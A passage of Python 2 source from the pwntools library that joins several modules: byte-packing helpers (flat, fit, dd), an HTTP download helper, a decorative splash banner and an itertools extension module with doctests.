    endianness = context.endianness
    sign       = context.sign

    if word_size in [8, 16, 32, 64]:
        endianness = 1 if endianness == 'big'    else 0

        return {
            (8, 0, 0):  _u8lu,
            (8, 0, 1):  _u8ls,
            (8, 1, 0):  _u8bu,
            (8, 1, 1):  _u8bs,
            (16, 0, 0): _u16lu,
            (16, 0, 1): _u16ls,
            (16, 1, 0): _u16bu,
            (16, 1, 1): _u16bs,
            (32, 0, 0): _u32lu,
            (32, 0, 1): _u32ls,
            (32, 1, 0): _u32bu,
            (32, 1, 1): _u32bs,
            (64, 0, 0): _u64lu,
            (64, 0, 1): _u64ls,
            (64, 1, 0): _u64bu,
            (64, 1, 1): _u64bs,
        }[word_size, endianness, sign]
    else:
        return lambda number: unpack(number, word_size, endianness, sign)



def _flat(args, preprocessor, packer):
    out = []
    for arg in args:

        if not isinstance(arg, (list, tuple)):
            arg_ = preprocessor(arg)
            if arg_ != None:
                arg = arg_

        if hasattr(arg, '__flat__'):
            out.append(arg.__flat__())
        elif isinstance(arg, (list, tuple)):
            out.append(_flat(arg, preprocessor, packer))
        elif isinstance(arg, str):
            out.append(arg)
        elif isinstance(arg, unicode):
            out.append(arg.encode('utf8'))
        elif isinstance(arg, (int, long)):
            out.append(packer(arg))
        elif isinstance(arg, bytearray):
            out.append(str(arg))
        else:
            raise ValueError("flat(): Flat does not support values of type %s" % type(arg))
    return ''.join(out)


def flat(*args, **kwargs):
    """flat(*args, preprocessor = None, word_size = None, endianness = None, sign = None)

    Flattens the arguments into a string.

    This function takes an arbitrary number of arbitrarily nested lists and
    tuples. It will then find every string and number inside those and flatten
    them out. Strings are inserted directly while numbers are packed using the
    :func:`pack` function.

    The three kwargs `word_size`, `endianness` and `sign` will default to using
    values in :mod:`pwnlib.context` if not specified as an argument.

    Arguments:
      args: Values to flatten
      preprocessor (function): Gets called on every element to optionally
         transform the element before flattening. If :const:`None` is
         returned, then the original value is uded.
      word_size (int): Word size of the converted integer.
      endianness (str): Endianness of the converted integer ("little"/"big").
      sign (str): Signedness of the converted integer (False/True)

    Examples:
      >>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
      '\\x01\\x00testABABABABABAB'
      >>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
      '234'
"""

    preprocessor = kwargs.pop('preprocessor', lambda x: None)
    word_size    = kwargs.pop('word_size', None)
    endianness   = kwargs.pop('endianness', None)
    sign         = kwargs.pop('sign', None)

    if kwargs != {}:
        raise TypeError("flat() does not support argument %r" % kwargs.popitem()[0])

    return _flat(args, preprocessor, make_packer(word_size))


@LocalContext
def fit(pieces=None, **kwargs):
    """fit(pieces, filler = de_bruijn(), length = None, preprocessor = None) -> str

    Generates a string from a dictionary mapping offsets to data to place at
    that offset.

    For each key-value pair in `pieces`, the key is either an offset or a byte
    sequence.  In the latter case, the offset will be the lowest index at which
    the sequence occurs in `filler`.  See examples below.

    Each piece of data is passed to :meth:`flat` along with the keyword
    arguments `word_size`, `endianness` and `sign`.

    Space between pieces of data is filled out using the iterable `filler`.  The
    `n`'th byte in the output will be byte at index ``n % len(iterable)`` byte
    in `filler` if it has finite length or the byte at index `n` otherwise.

    If `length` is given, the output will padded with bytes from `filler` to be
    this size.  If the output is longer than `length`, a :py:exc:`ValueError`
    exception is raised.

    If entries in `pieces` overlap, a :py:exc:`ValueError` exception is
    raised.

    Arguments:
      pieces: Offsets and values to output.
      length: The length of the output.
      filler: Iterable to use for padding.
      preprocessor (function): Gets called on every element to optionally
         transform the element before flattening. If :const:`None` is
         returned, then the original value is used.
      word_size (int): Word size of the converted integer.
      endianness (str): Endianness of the converted integer ("little"/"big").
      sign (str): Signedness of the converted integer (False/True)

    Examples:
      >>> fit({12: 0x41414141,
      ...      24: 'Hello',
      ...     })
      'aaaabaaacaaaAAAAeaaafaaaHello'
      >>> fit({'caaa': ''})
      'aaaabaaa'
      >>> fit({12: 'XXXX'}, filler = 'AB', length = 20)
      'ABABABABABABXXXXABAB'
      >>> fit({ 8: [0x41414141, 0x42424242],
      ...      20: 'CCCC'})
      'aaaabaaaAAAABBBBeaaaCCCC'

    """
    # HACK: To avoid circular imports we need to delay the import of `cyclic`
    from . import cyclic

    filler       = kwargs.pop('filler', cyclic.de_bruijn())
    length       = kwargs.pop('length', None)
    preprocessor = kwargs.pop('preprocessor', lambda x: None)
    word_size    = kwargs.pop('word_size', None)
    endianness   = kwargs.pop('endianness', None)
    sign         = kwargs.pop('sign', None)

    if kwargs != {}:
        raise TypeError("fit() does not support argument %r" % kwargs.popitem()[0])

    packer = make_packer()
    filler = iters.cycle(filler)
    out = ''

    if not length and not pieces:
        return ''

    if not pieces:
        return ''.join(filler.next() for f in range(length))

    # convert str keys to offsets
    pieces_ = dict()
    for k, v in pieces.items():
        if isinstance(k, (int, long)):
            pass
        elif isinstance(k, str):
            while k not in out:
                out += filler.next()
            k = out.index(k)
        else:
            raise TypeError("fit(): offset must be of type int or str, but got '%s'" % type(k))
        pieces_[k] = v
    pieces = pieces_

    # convert values to their flattened forms
    for k,v in pieces.items():
        pieces[k] = _flat([v], preprocessor, packer)

    # if we were provided a length, make sure everything fits
    last = max(pieces)
    if length and last and (last + len(pieces[last]) > length):
        raise ValueError("fit(): Pieces do not fit within `length` (= %d) bytes" % length)

    # insert data into output
    out = list(out)
    l = 0
    for k, v in sorted(pieces.items()):
        if k < l:
            raise ValueError("fit(): data at offset %d overlaps with previous data which ends at offset %d" % (k, l))
        while len(out) < k:
            out.append(filler.next())
        v = _flat([v], preprocessor, packer)
        l = k + len(v)

        # consume the filler for each byte of actual data
        for i in range(len(out), l):
            filler.next()

        out[k:l] = v

    # truncate/pad output
    if length:
        if l > length:
            raise ValueError("fit(): Pieces does not fit within `length` (= %d) bytes" % length)
        while len(out) < length:
            out.append(filler.next())
    else:
        out = out[:l]

    return ''.join(out)

def signed(integer):
    return unpack(pack(integer), signed=True)

def unsigned(integer):
    return unpack(pack(integer))

def dd(dst, src, count = 0, skip = 0, seek = 0, truncate = False):
    """dd(dst, src, count = 0, skip = 0, seek = 0, truncate = False) -> dst

    Inspired by the command line tool ``dd``, this function copies `count` byte
    values from offset `seek` in `src` to offset `skip` in `dst`.  If `count` is
    0, all of ``src[seek:]`` is copied.

    If `dst` is a mutable type it will be updated.  Otherwise a new instance of
    the same type will be created.  In either case the result is returned.

    `src` can be an iterable of characters or integers, a unicode string or a
    file object.  If it is an iterable of integers, each integer must be in the
    range [0;255].  If it is a unicode string, its UTF-8 encoding will be used.

    The seek offset of file objects will be preserved.

    Arguments:
      dst: Supported types are `:class:file`, `:class:list`, `:class:tuple`,
           `:class:str`, `:class:bytearray` and `:class:unicode`.
      src: An iterable of byte values (characters or integers), a unicode
           string or a file object.
      count (int): How many bytes to copy.  If `count` is 0 or larger than
                   ``len(src[seek:])``, all bytes until the end of `src` are
                   copied.
      skip (int): Offset in `dst` to copy to.
      seek (int): Offset in `src` to copy from.
      truncate (bool): If `:const:True`, `dst` is truncated at the last copied
                       byte.

    Returns:
      A modified version of `dst`.  If `dst` is a mutable type it will be
      modified in-place.

    Examples:
    >>> dd(tuple('Hello!'), '?', skip = 5)
    ('H', 'e', 'l', 'l', 'o', '?')
    >>> dd(list('Hello!'), (63,), skip = 5)
    ['H', 'e', 'l', 'l', 'o', '?']
    >>> write('/tmp/foo', 'A' * 10)
    ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4)
    ... read('/tmp/foo')
    'AAA\x00\x00\x00\x00AAA'
    >>> write('/tmp/foo', 'A' * 10)
    ... dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4, truncate = True)
    ... read('/tmp/foo')
    'AAA\x00\x00\x00\x00'

    """

    # Re-open file objects to make sure we have the mode right
    if isinstance(src, file):
        src = file(src.name, 'rb')
    if isinstance(dst, file):
        real_dst = dst
        dst = file(dst.name, 'rb+')

    # Special case: both `src` and `dst` are files, so we don't need to hold
    # everything in memory
    if isinstance(src, file) and isinstance(dst, file):
        src.seek(seek)
        dst.seek(skip)
        n = 0
        if count:
            while n < count:
                s = src.read(min(count - n, 0x1000))
                if s == '':
                    break
                n += len(s)
                dst.write(s)
        else:
            while True:
                s = src.read(0x1000)
                if s == '':
                    break
                n += len(s)
                dst.write(s)
        if truncate:
            dst.truncate(skip + n)
        src.close()
        dst.close()
        return real_dst

    # Otherwise get `src` in canonical form, i.e. a string of at most `count`
    # bytes
    if isinstance(src, unicode):
        if count:
            # The only way to know where the `seek`th byte is, is to decode, but
            # we only need to decode up to the first `seek + count` code points
            src = src[:seek + count].encode('utf8')
            # The code points may result in more that `seek + count` bytes
            src = src[seek : seek + count]
        else:
            src = src.encode('utf8')[seek:]

    elif isinstance(src, file):
        src.seek(seek)
        src_ = ''
        if count:
            while len(src_) < count:
                s = src.read(count - len(src_))
                if s == '':
                    break
                src_ += s
        else:
            while True:
                s = src.read()
                if s == '':
                    break
                src_ += s
        src.close()
        src = src_

    elif isinstance(src, str):
        if count:
            src = src[seek : seek + count]
        else:
            src = src[seek:]

    elif hasattr(src, '__iter__'):
        src = src[seek:]
        src_ = ''
        for i, b in enumerate(src, seek):
            if count and i > count + seek:
                break
            if isinstance(b, str):
                src_ += b
            elif isinstance(b, (int, long)):
                if b > 255 or b < 0:
                    raise ValueError("dd(): Source value %d at index %d is not in range [0;255]" % (b, i))
                src_ += chr(b)
            else:
                raise TypeError("dd(): Unsupported `src` element type: %r" % type(b))
        src = src_

    else:
        raise TypeError("dd(): Unsupported `src` type: %r" % type(src))

    # If truncate, then where?
    if truncate:
        truncate = skip + len(src)

    # UTF-8 encode unicode `dst`
    if isinstance(dst, unicode):
        dst = dst.encode('utf8')
        utf8 = True
    else:
        utf8 = False

    # Match on the type of `dst`
    if   isinstance(dst, file):
        dst.seek(skip)
        dst.write(src)
        if truncate:
            dst.truncate(truncate)
        dst.close()
        dst = real_dst

    elif isinstance(dst, (list, bytearray)):
        dst[skip : skip + len(src)] = list(src)
        if truncate:
            while len(dst) > truncate:
                dst.pop()

    elif isinstance(dst, tuple):
        tail = dst[skip + len(src):]
        dst = dst[:skip] + tuple(src)
        if not truncate:
            dst = dst + tail

    elif isinstance(dst, str):
        tail = dst[skip + len(src):]
        dst = dst[:skip] + src
        if not truncate:
            dst = dst + tail

    else:
        raise TypeError("dd(): Unsupported `dst` type: %r" % type(dst))

    if utf8:
        dst = dst.decode('utf8')

    return dst






# -*- coding: utf-8 -*-
import os
import tempfile

from ..log import getLogger
from .misc import size

log = getLogger(__name__)

def wget(url, save=None, timeout=5, **kwargs):
    """wget(url, save=None, timeout=5) -> str

    Downloads a file via HTTP/HTTPS.

    Arguments:
      url (str): URL to download
      save (str or bool): Name to save as.  Any truthy value
            will auto-generate a name based on the URL.
      timeout (int): Timeout, in seconds

    Example:

      >>> url    = 'https://httpbin.org/robots.txt'
      >>> result = wget(url)
      >>> result
      'User-agent: *\\nDisallow: /deny\\n'
      >>> result2 = wget(url, True)
      >>> result == file('robots.txt').read()
      True
    """
    import requests

    with log.progress("Downloading '%s'" % url, rate=0.1) as w:
        w.status("Making request...")

        response = requests.get(url, stream=True, timeout=timeout, **kwargs)

        if not response.ok:
            w.failure("Got code %s" % response.status_code)
            return

        total_size = int(response.headers.get('content-length',0))

        w.status('0 / %s' % size(total_size))

        # Find out the next largest size we can represent as
        chunk_size = 1
        while chunk_size < (total_size/10):
            chunk_size *= 1000

        # Count chunks as they're received
        total_data    = ''

        # Loop until we have all of the data
        for chunk in response.iter_content(chunk_size = 2**10):
            total_data    += chunk
            if total_size:
                w.status('%s / %s' % (size(total_data), size(total_size)))
            else:
                w.status('%s' % size(total_data))

        # Save to the target file if provided
        if save:
            if not isinstance(save, (str, unicode)):
                save = os.path.basename(url)
                save = save or tempfile.NamedTemporaryFile(dir='.', delete=False).name
            with file(save,'wb+') as f:
                f.write(total_data)
                w.success('Saved %r (%s)' % (f.name, size(total_data)))
        else:
            w.success('%s' % size(total_data))

        return total_data






"""Silly module mostly meant as an easter-egg."""

import threading
import time

from .. import term
from ..term import text


_banner = r'''
  .:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.
  )     _____                         _    _                            )
  (    |  _  |___ _ _ _ ___ ___ ___ _| |  | |_ _ _                      (
  )    |   __| . | | | | -_|  _| -_| . |  | . | | |                     )
  (    |__|  |___|_____|___|_| |___|___|  |___|_  |                     (
  )          _____                         __ |___|     __              )
  (         /\  __`\                      /\ \       __/\ \             (
  )         \ \ \/\ \__  __  __   ____    \ \ \     /\_\ \ \___         )
  (          \ \ ,__/\ \/\ \/\ \ /  _ `\   \ \ \    \/\ \ \  __`\       (
  )           \ \ \/\ \ \_/ \_/ \ \ \/\ \   \ \ \____\ \ \ \ \/\ \      )
  (            \ \_\ \ \___^___/'\ \_\ \_\   \ \_____\\ \_\ \____/      (
  )             \/_/  \/__//__/   \/_/\/_/    \/_____/ \/_/\/___/       )
  (                                                                     (
  .:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:._.:*~*:.
'''

def splash():
    """Put this at the beginning of your exploit to create the illusion that
    your sploit is enterprisey and top notch quality"""

    def updater():

        colors = [
            text.blue   , text.bold_blue   ,
            text.magenta, text.bold_magenta,
            text.red    , text.bold_red    ,
            text.yellow , text.bold_yellow ,
            text.green  , text.bold_green  ,
            text.cyan   , text.bold_cyan   ,
        ]
        def getcolor(n):
            return colors[(n / 4) % len(colors)]

        lines = ['    ' + line + '\n' for line in _banner.strip('\n').split('\n')]

        hs = [term.output('', frozen = False) for _ in range(len(lines))]
        ndx = 0
        import sys as _sys
        while _sys:
            for i, (l, h) in enumerate(zip(lines, hs)):
                cur = ''
                buf = ''
                col = getcolor(ndx + i)
                for j in range(len(l)):
                    buf += l[j]
                    ncol = getcolor(ndx + i + j)
                    if col != ncol:
                        cur += buf if buf.isspace() else col(buf)
                        col = ncol
                        buf = ''
                cur += col(buf)
                h.update(cur)
            ndx += 1
            time.sleep(0.15)

    if term.term_mode:
        t = threading.Thread(target = updater)
        t.daemon = True
        t.start()
        time.sleep(0.2)






"""
This module includes and extends the standard module :mod:`itertools`.
"""

__all__ = [
    'bruteforce'                             ,
    'mbruteforce'                            ,
    'chained'                                ,
    'consume'                                ,
    'cyclen'                                 ,
    'dotproduct'                             ,
    'flatten'                                ,
    'group'                                  ,
    'iter_except'                            ,
    'lexicographic'                          ,
    'lookahead'                              ,
    'nth'                                    ,
    'pad'                                    ,
    'pairwise'                               ,
    'powerset'                               ,
    'quantify'                               ,
    'random_combination'                     ,
    'random_combination_with_replacement'    ,
    'random_permutation'                     ,
    'random_product'                         ,
    'repeat_func'                            ,
    'roundrobin'                             ,
    'tabulate'                               ,
    'take'                                   ,
    'unique_everseen'                        ,
    'unique_justseen'                        ,
    'unique_window'                          ,
    # these are re-exported from itertools
    'chain'                                  ,
    'combinations'                           ,
    'combinations_with_replacement'          ,
    'compress'                               ,
    'count'                                  ,
    'cycle'                                  ,
    'dropwhile'                              ,
    'groupby'                                ,
    'ifilter'                                ,
    'ifilterfalse'                           ,
    'imap'                                   ,
    'islice'                                 ,
    'izip'                                   ,
    'izip_longest'                           ,
    'permutations'                           ,
    'product'                                ,
    'repeat'                                 ,
    'starmap'                                ,
    'takewhile'                              ,
    'tee'
]

import collections
import copy
import multiprocessing
import operator
import random
import time
from itertools import *

from ..context import context
from ..log import getLogger

log = getLogger(__name__)

def take(n, iterable):
    """take(n, iterable) -> list

    Returns first `n` elements of `iterable`.  If `iterable` is a iterator it
    will be advanced.

    Arguments:
      n(int):  Number of elements to take.
      iterable:  An iterable.

    Returns:
      A list of the first `n` elements of `iterable`.  If there are fewer than
      `n` elements in `iterable` they will all be returned.

    Examples:
      >>> take(2, range(10))
      [0, 1]
      >>> i = count()
      >>> take(2, i)
      [0, 1]
      >>> take(2, i)
      [2, 3]
      >>> take(9001, [1, 2, 3])
      [1, 2, 3]
    """
    return list(islice(iterable, n))

def tabulate(func, start = 0):
    """tabulate(func, start = 0) -> iterator

    Arguments:
      func(function):  The function to tabulate over.
      start(int):  Number to start on.

    Returns:
      An iterator with the elements ``func(start), func(start + 1), ...``.

    Examples:
      >>> take(2, tabulate(str))
      ['0', '1']
      >>> take(5, tabulate(lambda x: x**2, start = 1))
      [1, 4, 9, 16, 25]
    """
    return imap(func, count(start))

def consume(n, iterator):
    """consume(n, iterator)

    Advance the iterator `n` steps ahead. If `n is :const:`None`, consume
    everything.

    Arguments:
      n(int):  Number of elements to consume.
      iterator(iterator):  An iterator.

    Returns:
      :const:`None`.

    Examples:
      >>> i = count()
      >>> consume(5, i)
      >>> i.next()
      5
      >>> i = iter([1, 2, 3, 4, 5])
      >>> consume(2, i)
      >>> list(i)
      [3, 4, 5]
    """
    # Use functions that consume iterators at C speed.
    if n is None:
        # feed the entire iterator into a zero-length deque
        collections.deque(iterator, maxlen = 0)
    else:
        # advance to the empty slice starting at position n
        next(islice(iterator, n, n), None)

def nth(n, iterable, default = None):
    """nth(n, iterable, default = None) -> object

    Returns the element at index `n` in `iterable`.  If `iterable` is a
    iterator it will be advanced.

    Arguments:
      n(int):  Index of the element to return.
      iterable:  An iterable.
      default(objext):  A default value.

    Returns:
      The element at index `n` in `iterable` or `default` if `iterable` has too
      few elements.

    Examples:
      >>> nth(2, [0, 1, 2, 3])
      2
      >>> nth(2, [0, 1], 42)
      42
      >>> i = count()
      >>> nth(42, i)
      42
      >>> nth(42, i)
      85
    """
    return next(islice(iterable, n, None), default)

def quantify(iterable, pred = bool):
    """quantify(iterable, pred = bool) -> int

    Count how many times the predicate `pred` is :const:`True`.

    Arguments:
        iterable:  An iterable.
        pred:  A function that given an element from `iterable` returns either
               ``True`` or ``False``.

    Returns:
      The number of elements in `iterable` for which `pred` returns
      ``True``.

    Examples:
      >>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
      2
      >>> quantify(['1', 'two', '3', '42'], str.isdigit)
      3
    """
    return sum(imap(pred, iterable))

def pad(iterable, value = None):
    """pad(iterable, value = None) -> iterator

    Pad an `iterable` with `value`, i.e. returns an iterator whoose elements are
    first the elements of `iterable` then `value` indefinitely.

    Arguments:
      iterable:  An iterable.
      value:  The value to pad with.

    Returns:
      An iterator whoose elements are first the elements of `iterable` then
      `value` indefinitely.

    Examples:
      >>> take(3, pad([1, 2]))
      [1, 2, None]
      >>> i = pad(iter([1, 2, 3]), 42)
      >>> take(2, i)
      [1, 2]
      >>> take(2, i)
      [3, 42]
      >>> take(2, i)
      [42, 42]
    """
    return chain(iterable, repeat(value))

def cyclen(n, iterable):
    """cyclen(n, iterable) -> iterator

    Repeats the elements of `iterable` `n` times.

    Arguments:
      n(int):  The number of times to repeat `iterable`.
      iterable:  An iterable.

    Returns:
      An iterator whoose elements are the elements of `iterator` repeated `n`
      times.

    Examples:
      >>> take(4, cyclen(2, [1, 2]))
      [1, 2, 1, 2]
      >>> list(cyclen(10, []))
      []
    """
    return chain.from_iterable(repeat(tuple(iterable), n))

def dotproduct(x, y):
    """dotproduct(x, y) -> int

    Computes the dot product of `x` and `y`.

    Arguments:
      x(iterable):  An iterable.
      x(iterable):  An iterable.

    Returns:
      The dot product of `x` and `y`, i.e.: ``x[0] * y[0] + x[1] * y[1] + ...``.

    Example:
      >>> dotproduct([1, 2, 3], [4, 5, 6])
      ... # 1 * 4 + 2 * 5 + 3 * 6 == 32
      32
    """
    return sum(imap(operator.mul, x, y))

def flatten(xss):
    """flatten(xss) -> iterator

    Flattens one level of nesting; when `xss` is an iterable of iterables,
    returns an iterator whoose elements is the concatenation of the elements of
    `xss`.

    Arguments:
      xss:  An iterable of iterables.

    Returns:
      An iterator whoose elements are the concatenation of the iterables in
      `xss`.

    Examples:
      >>> list(flatten([[1, 2], [3, 4]]))
      [1, 2, 3, 4]
      >>> take(6, flatten([[43, 42], [41, 40], count()]))
      [43, 42, 41, 40, 0, 1]
    """
    return chain.from_iterable(xss)

def repeat_func(func, *args, **kwargs):
    """repeat_func(func, *args, **kwargs) -> iterator

    Repeatedly calls `func` with positional arguments `args` and keyword
    arguments `kwargs`.  If no keyword arguments is given the resulting iterator
    will be computed using only functions from :mod:`itertools` which are very
    fast.

    Arguments:
      func(function):  The function to call.
      args:  Positional arguments.
      kwargs:  Keyword arguments.

    Returns:
      An iterator whoose elements are the results of calling ``func(*args,
      **kwargs)`` repeatedly.

    Examples:
      >>> def f(x):
      ...     x[0] += 1
      ...     return x[0]
      >>> i = repeat_func(f, [0])
      >>> take(2, i)
      [1, 2]
      >>> take(2, i)
      [3, 4]
      >>> def f(**kwargs):
      ...     return kwargs.get('x', 43)
      >>> i = repeat_func(f, x = 42)
      >>> take(2, i)
      [42, 42]
      >>> i = repeat_func(f, 42)
      >>> take(2, i)
      Traceback (most recent call last):
          ...
      TypeError: f() takes exactly 0 arguments (1 given)
    """
    if kwargs:
        return starmap(lambda args, kwargs: func(*args, **kwargs),
                       repeat((args, kwargs))
                       )
    else:
        return starmap(func, repeat(args))

def pairwise(iterable):
    """pairwise(iterable) -> iterator

    Arguments:
      iterable:  An iterable.

    Returns:
      An iterator whoose elements are pairs of neighbouring elements of
      `iterable`.

    Examples:
      >>> list(pairwise([1, 2, 3, 4]))
      [(1, 2), (2, 3), (3, 4)]
      >>> i = starmap(operator.add, pairwise(count()))
      >>> take(5, i)
      [1, 3, 5, 7, 9]
    """
    a, b = tee(iterable)
    next(b, None)
    return izip(a, b)

def group(n, iterable, fill_value = None):
    """group(n, iterable, fill_value = None) -> iterator

    Similar to :func:`pwnlib.util.lists.group`, but returns an iterator and uses
    :mod:`itertools` fast build-in functions.

    Arguments:
      n(int):  The group size.
      iterable:  An iterable.
      fill_value:  The value to fill into the remaining slots of the last group
        if the `n` does not divide the number of elements in `iterable`.

    Returns:
      An iterator whoose elements are `n`-tuples of the elements of `iterable`.

    Examples:
      >>> list(group(2, range(5)))
      [(0, 1), (2, 3), (4, None)]
      >>> take(3, group(2, count()))
      [(0, 1), (2, 3), (4, 5)]
      >>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
      ['ABC', 'DEF', 'Gxx']
    """
    args = [iter(iterable)] * n
    return izip_longest(fillvalue = fill_value, *args)

def roundrobin(*iterables):
    """roundrobin(*iterables)

    Take elements from `iterables` in a round-robin fashion.

    Arguments:
      *iterables:  One or more iterables.

    Returns:
      An iterator whoose elements are taken from `iterables` in a round-robin
      fashion.

    Examples:
      >>> ''.join(roundrobin('ABC', 'D', 'EF'))
      'ADEBFC'
      >>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
      'ADxBExCxxx'
    """
    # Recipe credited to George Sakkis
    pending = len(iterables)
    nexts = cycle(iter(it).next for it in iterables)
    while pending:
        try:
            for next in nexts:
                yield next()
        except StopIteration:
            pending -= 1
            nexts = cycle(islice(nexts, pending))

def powerset(iterable, include_empty = True):
    """powerset(iterable, include_empty = True) -> iterator

    The powerset of an iterable.

    Arguments:
      iterable:  An iterable.
      include_empty(bool):  Whether to include the empty set.

    Returns:
      The powerset of `iterable` as an interator of tuples.

    Examples:
      >>> list(powerset(range(3)))
      [(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
      >>> list(powerset(range(2), include_empty = False))
      [(0,), (1,), (0, 1)]
    """
    s = list(iterable)
    i = chain.from_iterable(combinations(s, r) for r in range(len(s) + 1))
    if not include_empty:
        next(i)
    return i

def unique_everseen(iterable, key = None):
    """unique_everseen(iterable, key = None) -> iterator

    Get unique elements, preserving order. Remember all elements ever seen.  If
    `key` is not :const:`None` then for each element ``elm`` in `iterable` the
    element that will be rememberes is ``key(elm)``.  Otherwise ``elm`` is
    remembered.

    Arguments:
      iterable:  An iterable.
      key:  A function to map over each element in `iterable` before remembering
        it.  Setting to :const:`None` is equivalent to the identity function.

    Returns:
      An iterator of the unique elements in `iterable`.

    Examples:
      >>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
      'ABCD'
      >>> ''.join(unique_everseen('ABBCcAD', str.lower))
      'ABCD'
    """
    seen = set()
    seen_add = seen.add
    if key is None:
        for element in ifilterfalse(seen.__contains__, iterable):
            seen_add(element)
            yield element
    else:
        for element in iterable:
            k = key(element)
            if k not in seen:
                seen_add(k)
                yield element

def unique_justseen(iterable, key = None):
    """unique_everseen(iterable, key = None) -> iterator

    Get unique elements, preserving order. Remember only the elements just seen.
    If `key` is not :const:`None` then for each element ``elm`` in `iterable`
    the element that will be rememberes is ``key(elm)``.  Otherwise ``elm`` is
    remembered.

    Arguments:
      iterable:  An iterable.
      key:  A function to map over each element in `iterable` before remembering
        it.  Setting to :const:`None` is equivalent to the identity function.

    Returns:
      An iterator of the unique elements in `iterable`.

    Examples:
      >>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
      'ABCDAB'
      >>> ''.join(unique_justseen('ABBCcAD', str.lower))
      'ABCAD'
    """
    return imap(next, imap(operator.itemgetter(1), groupby(iterable, key)))

def unique_window(iterable, window, key = None):
    """unique_everseen(iterable, window, key = None) -> iterator

    Get unique elements, preserving order. Remember only the last `window`
    elements seen.  If `key` is not :const:`None` then for each element ``elm``
    in `iterable` the element that will be rememberes is ``key(elm)``.
    Otherwise ``elm`` is remembered.

    Arguments:
      iterable:  An iterable.
      window(int):  The number of elements to remember.
      key:  A function to map over each element in `iterable` before remembering
        it.  Setting to :const:`None` is equivalent to the identity function.

    Returns:
      An iterator of the unique elements in `iterable`.

    Examples:
      >>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
      'ABCDA'
      >>> ''.join(unique_window('ABBCcAD', 5, str.lower))
      'ABCD'
      >>> ''.join(unique_window('ABBCcAD', 4, str.lower))
      'ABCAD'
    """
    seen = collections.deque(maxlen = window)
    seen_add = seen.append
    if key is None:
        for element in iterable:
            if element not in seen:
                yield element
            seen_add(element)
    else:
        for element in iterable:
            k = key(element)
            if k not in seen:
                yield element
            seen_add(k)

def iter_except(func, exception):
    """iter_except(func, exception)

    Calls `func` repeatedly until an exception is raised.  Works like the
    build-in :func:`iter` but uses an exception instead of a sentinel to signal
    the end.

    Arguments:
      func:  The function to call.
      exception(exception):  The exception that signals the end.  Other
        exceptions will not be caught.

    Returns:
      An iterator whoose elements are the results of calling ``func()`` until an
      exception matching `exception` is raised.

    Examples:
      >>> s = {1, 2, 3}
      >>> i = iter_except(s.pop, KeyError)
      >>> i.next()
      1
      >>> i.next()
      2
      >>> i.next()
      3
      >>> i.next()
      Traceback (most recent call last):
          ...
      StopIteration
    """
    try:
        while True:
            yield func()
    except exception:
        pass

def random_product(*args, **kwargs):
    """random_product(*args, repeat = 1) -> tuple

    Arguments:
      args:  One or more iterables
      repeat(int):  Number of times to repeat `args`.

    Returns:
      A random element from ``itertools.product(*args, repeat = repeat)``.

    Examples:
      >>> args = (range(2), range(2))
      >>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
      True
      >>> args = (range(3), range(3), range(3))
      >>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
      True
    """
    repeat = kwargs.pop('repeat', 1)

    if kwargs != {}:
        raise TypeError('random_product() does not support argument %s' % kwargs.popitem())

    pools = map(tuple, args) * repeat
    return tuple(random.choice(pool) for pool in pools)

def random_permutation(iterable, r = None):
    """random_product(iterable, r = None) -> tuple

    Arguments:
      iterable:  An iterable.
      r(int):  Size of the permutation.  If :const:`None` select all elements in
        `iterable`.

    Returns:
      A random element from ``itertools.permutations(iterable, r = r)``.

    Examples:
      >>> random_permutation(range(2)) in {(0, 1), (1, 0)}
      True
      >>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
      True
    """
    pool = tuple(iterable)
    r = len(pool) if r is None else r
    return tuple(random.sample(pool, r))

def random_combination(iterable, r):
    """random_combination(iterable, r) -> tuple

    Arguments:
      iterable:  An iterable.
      r(int):  Size of the combination.

    Returns:
      A random element from ``itertools.combinations(iterable, r = r)``.

    Examples:
      >>> random_combination(range(2), 2)
      (0, 1)
      >>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
      True
    """
    pool = tuple(iterable)
    n = len(pool)
    indices = sorted(random.sample(xrange(n), r))
    return tuple(pool[i] for i in indices)

def random_combination_with_replacement(iterable, r):
    """random_combination(iterable, r) -> tuple

    Arguments:
      iterable:  An iterable.
      r(int):  Size of the combination.

    Returns:
      A random element from ``itertools.combinations_with_replacement(iterable,
      r = r)``.

    Examples:
      >>> cs = {(0, 0), (0, 1), (1, 1)}
      >>> random_combination_with_replacement(range(2), 2) in cs
      True
      >>> i = combinations_with_replacement(range(10), r = 2)
      >>> random_combination_with_replacement(range(10), r = 2) in i
      True
    """
    pool = tuple(iterable)
    n = len(pool)
    indices = sorted(random.randrange(n) for i in xrange(r))
    return tuple(pool[i] for i in indices)

def lookahead(n, iterable):
    """lookahead(n, iterable) -> object

    Inspects the upcoming element at index `n` without advancing the iterator.
    Raises ``IndexError`` if `iterable` has too few elements.

    Arguments:
      n(int):  Index of the element to return.
      iterable:  An iterable.

    Returns:
      The element in `iterable` at index `n`.

    Examples:
      >>> i = count()
      >>> lookahead(4, i)
      4
      >>> i.next()
      0
      >>> i = count()
      >>> nth(4, i)
      4
      >>> i.next()
      5
      >>> lookahead(4, i)
      10
    """
    for value in islice(copy.copy(iterable), n, None):
        return value
    raise IndexError(n)

def lexicographic(alphabet):
    """lexicographic(alphabet) -> iterator

    The words with symbols in `alphabet`, in lexicographic order (determined by
    the order of `alphabet`).

    Arguments:
      alphabet:  The alphabet to draw symbols from.

    Returns:
      An iterator of the words with symbols in `alphabet`, in lexicographic
      order.

    Example:
      >>> take(8, imap(lambda x: ''.join(x), lexicographic('01')))
